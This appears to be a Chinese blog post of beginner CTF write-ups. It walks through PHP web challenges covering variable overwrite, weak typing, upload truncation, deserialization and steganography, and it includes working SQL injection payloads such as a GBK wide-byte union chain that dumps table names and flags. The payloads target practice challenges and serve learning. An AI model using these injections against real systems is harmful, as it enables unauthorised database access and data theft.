每日CTF week1

2018.3.5

NCTF-变量覆盖

原题链接:

http://ctf.nuptsast.com/challenges#%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96

mark

分析:

看源码:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>

比较乱,整理一下:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
    extract($_POST);
      if ($pass == $thepassword_123) { 
          echo $theflag; }
?>

可以看到有函数extract($_POST); 结合变量覆盖,(变量覆盖漏洞)。
只要将两个变量的值改成一样的,就可以覆盖了。

payload:

mark

flag:

nctf{bian_liang_fu_gai!}

知识点:

变量覆盖

NCTF-PHP是世界上最好的语言

原题链接:

http://ctf.nuptsast.com/challenges#PHP%E6%98%AF%E4%B8%96%E7%95%8C%E4%B8%8A%E6%9C%80%E5%A5%BD%E7%9A%84%E8%AF%AD%E8%A8%80
mark

分析:

得到第一个提示:index.txt
访问后,得到源码:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

分析源码,容易得到结论:
id不能是hackerDJ,但是url转码后要是hackerDJ。

比较容易想到,构造一个hackerDJ,urlencoding:

%68%61%63%6b%65%72%44%4a

但是由于输入url会有一次urldecoding,然后php里又有一次urldecoing,所以一共是两次urldecoding,因此,需要相应的两次urlencoing。即%68变成%2568。
最后的payload:

%2568%2561%2563%256b%2565%2572%2544%254a

payload:

http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

flag:

nctf{php_is_best_language}

知识点:

代码审计


2018-3-6

NCTF-上传绕过

分析:

直接上传图片(我上传的是.gif格式),结果:

Array ( [0] => .gif [1] => gif ) Upload: hack.gif
Type: image/gif
Size: 0.0380859375 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { [“dirname”]=> string(9) “./uploads” [“basename”]=> string(8) “hack.gif” [“extension”]=> string(3) “gif” [“filename”]=> string(4) “hack” }
必须上传成后缀名为php的文件才行啊!

直接上传.php文件,结果:

Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件

于是尝试上传图片修改后缀,发现不行。
猜测要利用%00截断,构造hack.php .jpg然后空格Hex修改为00绕过上传,发现无法绕过。
有点懵逼。。。

后来发现,上传的包里面有upload字段:
mark

mark

所以,容易想到利用upload字段,构造/uploads/hack.php ,然后将空格换成chr(0), 这样,由于代码检测的是filename的格式要是图片格式。检测最后上传的文件路径变为了upload/hack.php(%00)hack.gif。

成功绕过!

payload:

构造/uploads/hack.php ,然后将空格换成chr(0)

flag:

nctf{welcome_to_hacks_world}

知识点:

上传漏洞,截断漏洞

NCTF- Header

原题链接:

http://ctf.nuptsast.com/challenges#Header

分析:

水题:flag就在消息头里。
mark

flag:

nctf{tips_often_hide_here}

知识点:

??脑洞==、

pass check

原题链接:

http://ctf.nuptsast.com/challenges#pass%20check

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

分析:

php弱类型:strcmp
参考 https://www.cnblogs.com/Mrsm1th/p/6745532.html

strcmp(array,string)=null=0

现在$pass1为string,只要pass为数组就OK了。

payload:

pass[]=[1,2,3]

flag:

flag:nctf{strcmp_is_n0t_3afe}

知识点:

php弱类型


2018-3-8

NCTF-sql注入1

原题链接:

http://ctf.nuptsast.com/challenges#SQL%E6%B3%A8%E5%85%A51
mark

分析:

看到有源代码,白盒测,大大降低了难度。

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

看完源码,很容易想到构造POST

user=admin') or 1=1 --+

但是怎么试都不对,这里我掉进了一个坑。

没看道函数trim!!!

trim — 去除字符串首尾处的空白字符(或者其他字符)

所以,我直接用–+ 空格(+)被去除,导致没有注释成功。
mark

解决办法很简单,#代替–+注释就行了。

payload:

admin’) #

flag:

nctf{ni_ye_hui_sql?}

知识点:

sql注入

NCTF-起名字真难

原题链接:

http://chinalover.sinaapp.com/web12/index.php

分析:

直接给出源码:

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

这段php的意思,大概就是得到一个数字key,其每一位要和54975581388一样。但是每一位又不能是数字。

我在想,都不是数字? 可能只能是16进制的特殊情况才可能。
试了一下,结果:

>>> hex(54975581388)
'0xccccccccc'

嘿嘿,这题还是凑好的呀!

payload:

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

flag:

nctf{follow_your_dream}

知识点:

代码审计,一点脑洞


2018-3-9

NCTF-密码重置

原题链接:

http://ctf.nuptsast.com/challenges#%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE

mark

分析:

试了一下,直接改账号,改不了。注意到url:

http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D

user1后面是一段base64编码。解码得:ctfuser。
现在知道应该在这里修改user的值,提示重置admin的密码。

>>> import base64
>>> print(base64.b64encode(b'admin'))
b'YWRtaW4='

得到user1=YWRtaW4=,
再修改相应的user=admin,密码和验证码即可得到flag。

payload:

mark

flag:

nctf{reset_password_often_have_vuln}

知识点:

越权?

NCTF-php 反序列化

原题链接:

http://ctf.nuptsast.com/challenges#php%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

题目现在上不去,不知道原因,但是好在能看源码,大致可以分析一下。

分析:

通过这道题算是萌新第一次遇见反序列化漏洞。
参考很多资料,才有所了解:
http://blog.csdn.net/qq_32400847/article/details/53873275
http://www.freebuf.com/vuls/80293.html
https://www.seebug.org/vuldb/ssvid-92404

简单地说:
serialize() 把某种含有结构的数据进行转换,其结果为某种规定格式的字符串。

unserialize() 将已序列化的字符串恢复为原来的格式或结构

但是,由于在反序列化的时候,回自动调用魔术方法,导致漏洞的产生。

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

读懂这段PHP不难。o变量将得到的pass值进行反序列化,得到相应的对象值。
o->secret === o->enter. 即可得到flag。

由于很难构造相等,那么查看资料知:

在PHP 中普通的传值赋值行为有个例外就是碰到对象 object时,在 PHP 5 中是以引用赋值

$var = &$othervar;

引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。满足了条件。

payload:

构造php:

<?php
class just4fun {
var $enter;
var $secret;
}

$o = new just4fun();
$o->enter = &$o->secret; //这里是重点。我们使用引用传参的特点,让$o->secret的值和$o->enter的值,这样两个变量就永远相等了
echo serialize($o);
?>

得到反序列化的字符串:

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

flag:

由于网站上不去,无法测试,但是搜索大神的payload,一致。

知识点:

php反序列化


2018-3-10

实验吧-天网管理系统

原题链接:

http://www.shiyanbar.com/ctf/1810

分析:

打开url,查看源代码,发现这样一句话:

</form>
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>

显然是提示咯。
md5($test) = ‘0’
这是很熟悉的。百度一些md5值为0e开头的字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

随便拿一个带进username用就OK了。
得到一个提示:

/user.php?fame=hjkleffifer

打开url:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
得到一段代码:

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

昨天刚做过一个反序列化漏洞的题,今天特地找了另一题看看,发现这里就有反序列化。
对收到的password进行反序列化,得到的user=’???’&&pass = ‘???’
一开始以为,要构造
password->user = ???
password->pass = ???
但是php构造不了这样的值,那么换字符串?别闹了!
别忘了还有一句提示:
伟大的科学家php方言道:成也布尔,败也布尔
回去吧骚年

所以,这里还用到了弱类型的知识:
bool的true和任意字符串弱类型相等!!!
所以构造的user(bool)和password(bool)的值为true即可。

<?php
$payload = array('user'=>true,'pass' => true);
echo serialize($payload);
?>

得到:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

payload:

a代表array,s代表string,b代表bool,i代表int:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}a:2:{s:4:"user";i:1;s:4:"pass";i:1;}

mark

flag:

ctf{dwduwkhduw5465}

知识点:

php反序列化,php弱类型,md5

NCTF-SQL injection 3

原题链接:

http://ctf.nuptsast.com/challenges#sql%20injection%203

分析:

看url,GBK,很敏感的想到可能是宽字节注入。
试了一下id= 1’,得到:

your sql:select id,title from news where id = '1\''
Hello World!OVO

有转义,猜测大概正确。
一般来说,有转义,说明sql内将 ’ : 这类的符号 过滤(通过给’ 加上一个\,转义),但是在宽字节的sql内,即GBK编码的sql内。
可以用%df%27,代替原来的%27(’),使得转义失效。即:

\'   ====>  (%5c%df)%27  ()中组成新的gbk字符,運  使得后面的%27(')逃逸出来。

了解到这个,接下来的操作就很简单了。
查库:

id=-1%df' union select 1,database()#

sae-chinalover

爆表:

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

ctf,ctf2,ctf3,ctf4,news

爆字段(选择ctf4,一个个试过来的==、):

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23

这里有一点要注意:table_name=0x63746632

id,flag

爆内容:

id=-1%df' union select 1,group_concat(id,0x3a,flag) from ctf4 %23
后话

测试表ctf2的时候,发现这个,

1020:no msg in 1020,
1021:no msg in 1021 too,
1022:no msg in 1022,
1023:no msg in 1023~~~,
1024:the flag is:nctf{query_in_mysql},
1025:no more

马德,这里的flag,竟然是假的。被坑了!!!

payload:

id=-1%df' union select 1,group_concat(id,0x3a,flag) from ctf4 %23

flag:

nctf{gbk_3sqli}

知识点:

sql注入、宽字节


2018-3-11

NCTF-sql injection 4

原题链接:

http://chinalover.sinaapp.com/web15/index.php

分析:

查看源码,发现有源码提示。

<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
?>

代码审计:
1.

// Turn off all error reporting
error_reporting(0);


  1. 当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
  2. stripslashes — 反引用一个引用字符串


返回一个去除转义反斜线后的字符串(\’ 转换为 ’ 等等)。双反斜线(\)被转换为单个反斜线(\)。


  • htmlentities — 将字符转换为 HTML 转义字符
    ENT_QUOTES 既转换双引号也转换单引号。

  • 那么应该看得懂了:
    要想避开查询,就必须构造一个全真代码,加一个or 1=1但之前就多了一个引号
    mark

在这里由于'被转义,所以可以使用\转\,变成
\\',这样原来的'缺少转义,而失去意义。

所以payload:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1=1%23

大致插入进去的查询语句是

SELECT * FROM users WHERE name=’admin\’ AND pass=’ or 1=1#’; (加粗部分便成了现在的name。)

payload:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1=1%23

flag:

nctf{sql_injection_is_interesting}

知识点:

NCTF-丘比龙De女神

原题链接:

http://ctf.nuptsast.com/challenges#%E4%B8%98%E6%AF%94%E9%BE%99De%E5%A5%B3%E7%A5%9E
mark

分析:

先放进binwalk看看
mark
发现有个压缩包,还给出了偏移量。
在01editor中,找到位置,发现是压缩包标志PK,前面还有nvshen.jpg。
mark

再查找一下nvshen.jpg,发现在另一位置
mark
提示没有无缘无故的love。
这里有6C 6F 76 65 14 00 01 08 00 这个有没有很熟悉,在哪里的zip伪加密里出现过。把 6C 6F 76 65 14 00 01 08 00 到末尾截取出来,
另存为zip文件。

打开提示文件压缩损坏,修改zip文件格式
50 4B 03 04 14 00 00 00替换6C 6F 76 65 14 00 01 00

成功解压,发现要密码,love。

导出图片:
mark
接下来计算md5,
http://www.atool.org/file_hash.php

即可得到flag。

知识点:

隐写,压缩包zip格式的相关知识。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值